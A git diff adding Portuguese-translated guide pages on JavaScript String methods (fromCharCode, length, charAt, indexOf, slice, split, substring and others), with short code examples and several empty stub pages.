+[Ligação MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/fromCharCode) | [Link do MSDN](https://msdn.microsoft.com/en-us/LIBRary/wb4w0k66%28v=vs.94%29.aspx)
+
+## Descrição
+
+Este método retorna uma string e não um objeto String.
+
+Como `fromCharCode()` é um método estático de String, você sempre o usa como `String.fromCharCode()` , em vez de como um método de um objeto String criado por você.
+
+## Exemplos
+```
+String.fromCharCode(65, 66, 67);  // "ABC" 
+ 
+ var test = String.fromCharCode(112, 108, 97, 105, 110); 
+ document.write(test); 
+ 
+ // Output: plain 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/string/string-fromcodepoint/index.md b/client/src/guide/portuguese/javascript/standard-objects/string/string-fromcodepoint/index.md
new file mode 100644
index 0000000000..66c3b6582e
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/string/string-fromcodepoint/index.md
@@ -0,0 +1,11 @@
+---
+title: String Fromcodepoint
+localeTitle: String Fromcodepoint
+---
+## String Fromcodepoint
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/string/string-fromcodepoint/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/string/string-length/index.md b/client/src/guide/portuguese/javascript/standard-objects/string/string-length/index.md
new file mode 100644
index 0000000000..95d56b5368
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/string/string-length/index.md
@@ -0,0 +1,49 @@
+---
+title: String Length
+localeTitle: Comprimento da corda
+---
+A propriedade `length` representa o tamanho de uma string.
+
+## Sintaxe
+```
+str.length 
+```
+
+[Ligação MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/length) | [Link do MSDN](https://msdn.microsoft.com/en-us/LIBRary/3d616214%28v=vs.94%29.aspx)
+
+## Descrição
+
+Esta propriedade retorna o número de unidades de código na string. UTF-16, o formato de string usado pelo JavaScript, usa uma única unidade de código de 16 bits para representar os caracteres mais comuns, mas precisa usar duas unidades de código para caracteres menos usados, portanto é possível que o valor retornado por comprimento seja não corresponde ao número real de caracteres na string.
+
+Para uma string vazia, o comprimento é 0.
+
+A propriedade estática `String.length` retorna o valor 1.
+
+## Exemplos
+```
+var x = 'Mozilla'; 
+ var empty = ''; 
+ 
+ console.log('Mozilla is ' + x.length + ' code units long'); 
+ /* "Mozilla is 7 code units long" */ 
+ 
+ console.log('The empty string has a length of ' + empty.length); 
+ /* "The empty string has a length of 0" */ 
+ 
+ var str = "every good boy does fine"; 
+        var start = 0; 
+        var end = str.length - 1; 
+        var tmp = ""; 
+        var arr = new Array(end); 
+ 
+        while (end >= 0) { 
+            arr[start++] = str.charAt(end--); 
+        } 
+ 
+ // Join the elements of the array with a 
+        var str2 = arr.join(''); 
+        document.write(str2); 
+ 
+ // Output: enif seod yob doog yreve 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/string/string-prototype-charat/index.md b/client/src/guide/portuguese/javascript/standard-objects/string/string-prototype-charat/index.md
new file mode 100644
index 0000000000..dd45156bdf
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/string/string-prototype-charat/index.md
@@ -0,0 +1,40 @@
+---
+title: String.prototype.charAt
+localeTitle: String.prototype.charAt
+---
+O método `charAt()` retorna o caractere especificado de uma string.
+
+## Sintaxe
+```
+str.charAt(index) 
+```
+
+## Parâmetros
+
+**índice**
+
+Um inteiro entre 0 e 1 a menos que o comprimento da string.
+
+[Ligação MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/charAt) | [Link do MSDN](https://msdn.microsoft.com/en-us/LIBRary/65zt5h10%28v=vs.94%29.aspx)
+
+## Descrição
+
+Caracteres em uma string são indexados da esquerda para a direita. O índice do primeiro caractere é 0, e o índice do último caractere em uma string chamado `stringName` é `stringName.length - 1` . Se o índice fornecido estiver fora do intervalo, o JavaScript retornará uma string vazia.
+
+## Exemplos
+```
+var anyString = 'Brave new world'; 
+ 
+ console.log("The character at index 0   is '" + anyString.charAt(0)   + "'"); // 'B' 
+ console.log("The character at index 1   is '" + anyString.charAt(1)   + "'"); // 'r' 
+ console.log("The character at index 2   is '" + anyString.charAt(2)   + "'"); // 'a' 
+ console.log("The character at index 3   is '" + anyString.charAt(3)   + "'"); // 'v' 
+ console.log("The character at index 4   is '" + anyString.charAt(4)   + "'"); // 'e' 
+ console.log("The character at index 999 is '" + anyString.charAt(999) + "'"); // '' 
+ 
+ var str = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"; 
+ document.write(str.charAt(str.length - 1)); 
+ 
+ // Output: Z 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/string/string-prototype-charcodeat/index.md b/client/src/guide/portuguese/javascript/standard-objects/string/string-prototype-charcodeat/index.md
new file mode 100644
index 0000000000..333ccf5de7
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/string/string-prototype-charcodeat/index.md
@@ -0,0 +1,35 @@
+---
+title: String.prototype.charCodeAt
+localeTitle: String.prototype.charCodeAt
+---
+O método `charCodeAt()` retorna o valor numérico Unicode do caractere no índice fornecido (exceto para pontos de código unicode> 0x10000).
+
+## Sintaxe
+```
+str.charCodeAt(index) 
+```
+
+### Parâmetros
+
+**índice**
+
+Um inteiro maior ou igual a 0 e menor que o comprimento da string; se não for um número, o valor padrão é 0.
+
+[Ligação MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/charCodeAt) | [Link do MSDN](https://msdn.microsoft.com/en-us/LIBRary/hza4d04f%28v=vs.94%29.aspx)
+
+## Descrição
+
+Observe que `charCodeAt()` sempre retornará um valor menor que 65536. Isso ocorre porque os pontos de código mais altos são representados por um par de pseudo-caracteres "substitutos" (valor inferior) que são usados ​​para compor o caractere real. Por causa disso, para examinar ou reproduzir o caractere completo para caracteres individuais de valor 65536 e acima, para tais caracteres, é necessário recuperar não apenas `charCodeAt(i)` , mas também `charCodeAt(i+1)` (como se estivesse examinando / reproduzindo uma string com duas letras). Veja o exemplo 2 e 3 abaixo.
+
+`charCodeAt()` retorna `NaN` se o `index` fornecido for menor que 0 ou for igual ou maior que o comprimento da string.
+
+## Exemplos
+```
+'ABC'.charCodeAt(0); // returns 65 
+ 
+ var str = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"; 
+ document.write(str.charCodeAt(str.length - 1)); 
+ 
+ // Output: 90 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/string/string-prototype-codepointat/index.md b/client/src/guide/portuguese/javascript/standard-objects/string/string-prototype-codepointat/index.md
new file mode 100644
index 0000000000..1e23ee86a2
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/string/string-prototype-codepointat/index.md
@@ -0,0 +1,11 @@
+---
+title: String.prototype.codePointAt
+localeTitle: String.prototype.codePointAt
+---
+## String.prototype.codePointAt
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/string/string-prototype-codepointat/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/string/string-prototype-concat/index.md b/client/src/guide/portuguese/javascript/standard-objects/string/string-prototype-concat/index.md
new file mode 100644
index 0000000000..7e69fc617e
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/string/string-prototype-concat/index.md
@@ -0,0 +1,37 @@
+---
+title: String.prototype.concat
+localeTitle: String.prototype.concat
+---
+O método concat () combina o texto de duas ou mais strings e retorna uma nova string.
+
+**Sintaxe**
+```
+str.concat(string2[,..., stringN]); 
+```
+
+## Parâmetros
+
+**string2… string _N_** As strings que devem ser concatenadas a esta String.
+
+[Link MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/concat)
+
+## Descrição
+
+O método concat () combina o texto de duas ou mais strings e retorna a string concatenada. Não modifica as strings originais.
+
+## Exemplos
+
+**Concatenando strings**
+
+```JavaScript
+    var str1 = "Hello"; 
+    var str2 = "World"; 
+    console.log(str1.concat(str2)); 
+    // Console will output: HelloWorld 
+ 
+    var str2 = "Hello, "; 
+    console.log(str2.concat(" Welcome ", "to FCC.")); 
+    // Console will output: Hello, Welcome to FCC. 
+```
+
+Fonte \[MDN\]
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/string/string-prototype-endswith/index.md b/client/src/guide/portuguese/javascript/standard-objects/string/string-prototype-endswith/index.md
new file mode 100644
index 0000000000..ca1e331d7a
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/string/string-prototype-endswith/index.md
@@ -0,0 +1,24 @@
+---
+title: String.prototype.endsWith
+localeTitle: String.prototype.endsWith
+---
+## String.prototype.endsWith
+
+O método `endsWith()` verifica se a string termina com sua entrada de string e retorna um valor booleano.
+
+### Por exemplo
+
+```js
+let str = "Hello world"; 
+ let bool = str.endsWith("ld") // true 
+ bool = str.endsWith("llo") // false 
+```
+
+Esse método também pode aceitar outro parâmetro, o `length` que determina antes de qual caractere pesquisar a string.
+
+```js
+let str = "Hello world"; 
+ let bool = str.endsWith("ld", 5) // false, it's the same as "Hello".endsWith("ld") 
+ bool = str.endsWith("llo", 5) // true, it's the same as "Hello".endsWith("llo") 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/string/string-prototype-includes/index.md b/client/src/guide/portuguese/javascript/standard-objects/string/string-prototype-includes/index.md
new file mode 100644
index 0000000000..6e8f65eb9f
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/string/string-prototype-includes/index.md
@@ -0,0 +1,59 @@
+---
+title: String.prototype.includes
+localeTitle: String.prototype.includes
+---
+## String.prototype.includes
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/string/string-prototype-includes/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+O método `includes()` é usado para determinar se uma string pode ou não ser encontrada em outra string. Este método retorna um valor booleano ( `true` ou `false` ).
+
+Importante notar é que esse método faz distinção entre maiúsculas e minúsculas.
+
+**Sintaxe**
+
+```js
+string.includes(searchString[, position]) 
+```
+
+**Parâmetros**
+
+Este método requer apenas um parâmetro (searchString). No entanto, incluindo um segundo parâmetro (posição), você pode iniciar sua pesquisa por uma string dentro de uma string a partir de uma posição específica (ou índice) na searchString.
+
+**Exemplos**
+
+```js
+let string = "Roses are red, violets are blue."; 
+ 
+ string.includes('red'); // returns true 
+```
+
+```javascript
+let string = "Roses are red, violets are blue."; 
+ 
+ string.includes('Red'); // returns false 
+```
+
+```javascript
+let string = "Roses are red, violets are blue."; 
+ 
+ string.includes('red',12); // returns false because 'red' starts at position 9, and our search begins at position 12. 
+```
+
+```javascript
+let string = "Roses are red, violets are blue."; 
+ 
+ string.includes('blue',12); // returns true because 'blue' starts after our search begins at position 12. 
+```
+
+```javascript
+let string = "Roses are red, violets are blue."; 
+ 
+ string.includes('violets are blue'); // returns true 
+```
+
+#### Mais Informações:
+
+[MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/includes)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/string/string-prototype-indexof/index.md b/client/src/guide/portuguese/javascript/standard-objects/string/string-prototype-indexof/index.md
new file mode 100644
index 0000000000..fe1edf37fd
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/string/string-prototype-indexof/index.md
@@ -0,0 +1,44 @@
+---
+title: String.prototype.indexOf
+localeTitle: String.prototype.indexOf
+---
+## String.prototype.indexOf
+
+O método `indexOf()` retorna o primeiro índice no qual um determinado elemento pode ser encontrado na matriz. Se o elemento não estiver presente, retornará -1.
+
+**Sintaxe**
+
+```javascript
+str.indexOf(searchValue[, fromIndex]) 
+```
+
+### Parâmetros
+
+*   **searchValue Substring** para o qual você está procurando. Se estiver vazio ( `''` ) e não `fromIndex` parâmetro `fromIndex` , isso retornará 0.
+    
+*   **fromIndex** Opcional. O índice no qual você deseja iniciar a pesquisa. Se o valor `fromIndex` for maior ou igual ao tamanho da string, a string não será pesquisada e o método retornará -1. Se o `searchValue` for uma string vazia ( `''` ) e o `fromIndex` for menor que o tamanho da string, ele retornará o `fromIndex` ; caso contrário, retornará o tamanho da string. (Um número negativo será tratado como se não houvesse argumento).
+    
+
+### Descrição
+
+O método `indexOf()` verifica a string da esquerda para a direita. O índice do primeiro caractere é 0; o índice do último caractere é `string.length - 1` . O método verifica cada substring em relação a `searchValue` usando igualdade estrita ( `===` ), o que significa que esse método faz `searchValue` entre maiúsculas e minúsculas. Depois de encontrar uma substring que retorna `true` , retorna o índice de seu primeiro caractere.
+
+### Exemplos
+
+```javascript
+'Blue Whale'.indexOf('Blue');     // returns  0 
+ 'Blue Whale'.indexOf('Blute');    // returns -1 
+ 'Blue Whale'.indexOf('Whale', 0); // returns  5 
+ 'Blue Whale'.indexOf('Whale', 5); // returns  5 
+ 'Blue Whale'.indexOf('Whale', 7); // returns -1 
+ 'Blue Whale'.indexOf('');         // returns  0 
+ 'Blue Whale'.indexOf('', 9);      // returns  9 
+ 'Blue Whale'.indexOf('', 10);     // returns 10 
+ 'Blue Whale'.indexOf('', 11);     // returns 10 
+ 'Blue Whale'.indexOf('blue');     // returns -1 
+```
+
+### Mais Informações:
+
+*   Documentação do [MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/indexOf) : [MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/indexOf)
+*   Documentação da [MSDN](https://docs.microsoft.com/en-us/scripting/javascript/reference/indexof-method-string-javascript) : [MSDN](https://docs.microsoft.com/en-us/scripting/javascript/reference/indexof-method-string-javascript)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/string/string-prototype-lastindexof/index.md b/client/src/guide/portuguese/javascript/standard-objects/string/string-prototype-lastindexof/index.md
new file mode 100644
index 0000000000..8fd0238014
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/string/string-prototype-lastindexof/index.md
@@ -0,0 +1,11 @@
+---
+title: String.prototype.lastIndexOf
+localeTitle: String.prototype.lastIndexOf
+---
+## String.prototype.lastIndexOf
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/string/string-prototype-lastindexof/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/string/string-prototype-localecompare/index.md b/client/src/guide/portuguese/javascript/standard-objects/string/string-prototype-localecompare/index.md
new file mode 100644
index 0000000000..32220d99f4
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/string/string-prototype-localecompare/index.md
@@ -0,0 +1,11 @@
+---
+title: String.prototype.localecompare
+localeTitle: String.prototype.localecompare
+---
+## String.prototype.localecompare
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/string/string-prototype-localecompare/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/string/string-prototype-match/index.md b/client/src/guide/portuguese/javascript/standard-objects/string/string-prototype-match/index.md
new file mode 100644
index 0000000000..09b73c6250
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/string/string-prototype-match/index.md
@@ -0,0 +1,11 @@
+---
+title: String.prototype.match
+localeTitle: String.prototype.match
+---
+## String.prototype.match
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/string/string-prototype-match/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/string/string-prototype-normalize/index.md b/client/src/guide/portuguese/javascript/standard-objects/string/string-prototype-normalize/index.md
new file mode 100644
index 0000000000..659d9a4e68
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/string/string-prototype-normalize/index.md
@@ -0,0 +1,11 @@
+---
+title: String.prototype.normalize
+localeTitle: String.prototype.normalize
+---
+## String.prototype.normalize
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/string/string-prototype-normalize/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/string/string-prototype-padend/index.md b/client/src/guide/portuguese/javascript/standard-objects/string/string-prototype-padend/index.md
new file mode 100644
index 0000000000..11171f9a49
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/string/string-prototype-padend/index.md
@@ -0,0 +1,11 @@
+---
+title: String.prototype.padEnd
+localeTitle: String.prototype.padEnd
+---
+## String.prototype.padEnd
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/string/string-prototype-padend/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/string/string-prototype-padstart/index.md b/client/src/guide/portuguese/javascript/standard-objects/string/string-prototype-padstart/index.md
new file mode 100644
index 0000000000..ce4784e1da
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/string/string-prototype-padstart/index.md
@@ -0,0 +1,11 @@
+---
+title: String.prototype.padStart
+localeTitle: String.prototype.padStart
+---
+## String.prototype.padStart
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/string/string-prototype-padstart/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/string/string-prototype-repeat/index.md b/client/src/guide/portuguese/javascript/standard-objects/string/string-prototype-repeat/index.md
new file mode 100644
index 0000000000..93841579ea
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/string/string-prototype-repeat/index.md
@@ -0,0 +1,21 @@
+---
+title: String.prototype.repeat
+localeTitle: String.prototype.repeat
+---
+## String.prototype.repeat
+
+O `.repeat(n)` obtém um paramentador inteiro e retorna a string repetida `n` vezes.
+
+### Por exemplo
+
+```js
+  let str = "test"; 
+  console.log(str.repeat(3)); // "testtesttest", test is repeated 3 times 
+ 
+  // NB 
+  console.log(str.repeat(2.5)); // "testtest", 2.5 is converted to an integer and test is repeated 2 times 
+```
+
+#### Mais Informações
+
+[MDN - String.prototype.repeat ()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/repeat)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/string/string-prototype-replace/index.md b/client/src/guide/portuguese/javascript/standard-objects/string/string-prototype-replace/index.md
new file mode 100644
index 0000000000..3bf8930027
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/string/string-prototype-replace/index.md
@@ -0,0 +1,11 @@
+---
+title: String.prototype.replace
+localeTitle: String.prototype.replace
+---
+## String.prototype.replace
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/string/string-prototype-replace/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/string/string-prototype-search/index.md b/client/src/guide/portuguese/javascript/standard-objects/string/string-prototype-search/index.md
new file mode 100644
index 0000000000..b68f5c626f
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/string/string-prototype-search/index.md
@@ -0,0 +1,11 @@
+---
+title: String.prototype.search
+localeTitle: String.prototype.search
+---
+## String.prototype.search
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/string/string-prototype-search/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/string/string-prototype-slice/index.md b/client/src/guide/portuguese/javascript/standard-objects/string/string-prototype-slice/index.md
new file mode 100644
index 0000000000..eae88ec83f
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/string/string-prototype-slice/index.md
@@ -0,0 +1,47 @@
+---
+title: String.prototype.slice
+localeTitle: String.prototype.slice
+---
+O método de string JavaScript `.slice()` extrai uma parte de uma string e retorna uma nova string.
+
+## Sintaxe
+```
+str.slice(beginSliceIndex [, endSliceIndex]); 
+```
+
+## Parâmetros
+
+**beginSliceIndex**
+
+O índice baseado em zero onde a fatia deve começar. Se beginSliceIndex for um número negativo, `.slice()` do final da string para determinar onde começar a fatia.
+
+**endSliceIndex**
+
+Opcional. O índice baseado em zero no qual a fatia deve terminar. Se omitido, o `.slice()` extrai o final da string.
+
+[Link MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/slice)
+
+## Descrição
+
+`.slice()` o texto de uma string e retorna uma nova string.
+
+## Exemplos
+
+**Usando `.slice()` para criar uma nova string**
+```
+var string1 = "Hello World!"; 
+ var string2 = string1.slice(3); 
+ console.log(string2);                           // Will log "lo World!" 
+ 
+ var string3 = string1.slice(3, 7); 
+ console.log(string3);                           // Will log "lo W" 
+```
+
+**Usando `.slice()` com índices negativos**
+```
+var string = "Hello World!" 
+ str.slice(-3);                                  // Returns "ld!" 
+ str.slice(-3, -1);                              // Returns "ld" 
+ str.slice(0, -1);                               // Returns "Hello World" 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/string/string-prototype-split/index.md b/client/src/guide/portuguese/javascript/standard-objects/string/string-prototype-split/index.md
new file mode 100644
index 0000000000..9f98ae325d
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/string/string-prototype-split/index.md
@@ -0,0 +1,40 @@
+---
+title: String.prototype.split
+localeTitle: String.prototype.split
+---
+## String.prototype.split
+
+A função `split()` separa uma string original em substrings, com base em uma _string separadora_ que você passa como entrada.
+
+A saída da função `split()` é uma `Array` de strings, que representam as substrings separadas da string original.
+
+A string original não é alterada pela função `split()` .
+
+Exemplos:
+
+```js
+// We have a regular string 
+ "Hello. I am a string. You can separate me." 
+ 
+ // Let's use the split function to separate the string by the period character: 
+ "Hello. I am a string. You can separate me.".split("."); 
+ // output is [ "Hello", " I am a string", " You can separate me", "" ] 
+```
+
+Como usamos o ponto ( `.` ) Como a _string separadora_ , as strings na matriz de saída não contêm o período nelas; as strings separadas de saída _não incluem a própria cadeia do separador de entrada_ .
+
+O _separador de string_ não precisa ser um único caractere, pode ser qualquer outra string:
+
+```js
+"Hello... I am another string... keep on learning!".split("..."); 
+ // output is [ "Hello", " I am another string", " keep on learning!" ] 
+ 
+ const names = "Kratos- Atreus- Freya- Hela- Thor- Odin"; 
+ // notice separator is a dash and a space 
+ names.split("- "); 
+ // output is [ "Kratos", "Atreus", "Freya", "Hela", "Thor", "Odin" ] 
+```
+
+#### Mais Informações:
+
+*   [String.prototype.split no MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/split)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/string/string-prototype-startswith/index.md b/client/src/guide/portuguese/javascript/standard-objects/string/string-prototype-startswith/index.md
new file mode 100644
index 0000000000..f1acb69009
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/string/string-prototype-startswith/index.md
@@ -0,0 +1,11 @@
+---
+title: String.prototype.startsWith
+localeTitle: String.prototype.startsCom
+---
+## String.prototype.startsCom
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/string/string-prototype-startswith/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/string/string-prototype-substr/index.md b/client/src/guide/portuguese/javascript/standard-objects/string/string-prototype-substr/index.md
new file mode 100644
index 0000000000..79ea920611
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/string/string-prototype-substr/index.md
@@ -0,0 +1,33 @@
+---
+title: String.prototype.substr
+localeTitle: String.prototype.substr
+---
+## String.prototype.substr
+
+O método substr () extrai partes de uma cadeia, iniciando no caractere na posição especificada e retorna o número especificado de caracteres.
+
+#### Sintaxe
+
+```JavaScript
+  string.substr(start, length); 
+```
+
+#### Valores de Parâmetros
+
+| Parâmetro | Descrição | | : ------------- | : ------------- | | começar | **Requeridos.** A posição onde começar a extração. O primeiro caractere está no índice 0. Se _start_ for positivo e maior que, ou igual, ao comprimento da string, substr () retornará uma string vazia. Se _start_ for negativo, substr () o usará como um índice de caractere no final da string. Se _start_ for negativo ou maior que o comprimento da string, start é definido como 0 | | comprimento | **Opcional** O número de caracteres para extrair. Se omitido, extrai o resto da string |
+
+#### Exemplos:
+
+```JavaScript
+let str = "Hello world!"; 
+ let res = str.substr(1, 4); 
+```
+
+O resultado da res será:
+```
+ello 
+```
+
+#### Mais Informações:
+
+[JavaScript String Método substr ()](https://www.w3schools.com/jsref/jsref_substr.asp) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/string/string-prototype-substring/index.md b/client/src/guide/portuguese/javascript/standard-objects/string/string-prototype-substring/index.md
new file mode 100644
index 0000000000..a105b6dca0
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/string/string-prototype-substring/index.md
@@ -0,0 +1,30 @@
+---
+title: String.prototype.substring
+localeTitle: String.prototype.substring
+---
+## String.prototype.substring
+
+A função `substring()` _extrai_ uma seqüência de caracteres de outra string dada. Não altera a string original.
+
+Você define a seqüência para extrair com um _índice de caracteres inicial e final_ . Esses índices são passados ​​para a função `substring()` como parâmetros. A substring é formada do caractere do índice inicial até o caractere do índice final. Ambos os índices são contados a partir do início da string, começando em `0` .
+
+Exemplos:
+
+```js
+"Hello, campers".substring(7, 14); 
+ // output is "campers" 
+ 
+ "Hello, world".substring(0, 5); 
+ // output is "Hello" 
+```
+
+Você também pode omitir o último parâmetro de índice de caractere e a seqüência de subseqüência extrairá do índice inicial até o final da string. Exemplo:
+
+```js
+"Hello, campers!".substring(7); 
+ // output is "campers!" 
+```
+
+#### Mais Informações:
+
+*   [String.prototype.substring () no MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/substring)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/string/string-prototype-tolocalelowercase/index.md b/client/src/guide/portuguese/javascript/standard-objects/string/string-prototype-tolocalelowercase/index.md
new file mode 100644
index 0000000000..803799c556
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/string/string-prototype-tolocalelowercase/index.md
@@ -0,0 +1,11 @@
+---
+title: String.prototype.toLocaleLowerCase
+localeTitle: String.prototype.toLocaleLowerCase
+---
+## String.prototype.toLocaleLowerCase
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/string/string-prototype-tolocalelowercase/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/string/string-prototype-tolocaleuppercase/index.md b/client/src/guide/portuguese/javascript/standard-objects/string/string-prototype-tolocaleuppercase/index.md
new file mode 100644
index 0000000000..cb35e85a6e
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/string/string-prototype-tolocaleuppercase/index.md
@@ -0,0 +1,11 @@
+---
+title: String.prototype.toLocaleUpperCase
+localeTitle: String.prototype.toLocaleUpperCase
+---
+## String.prototype.toLocaleUpperCase
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/string/string-prototype-tolocaleuppercase/index.md) .
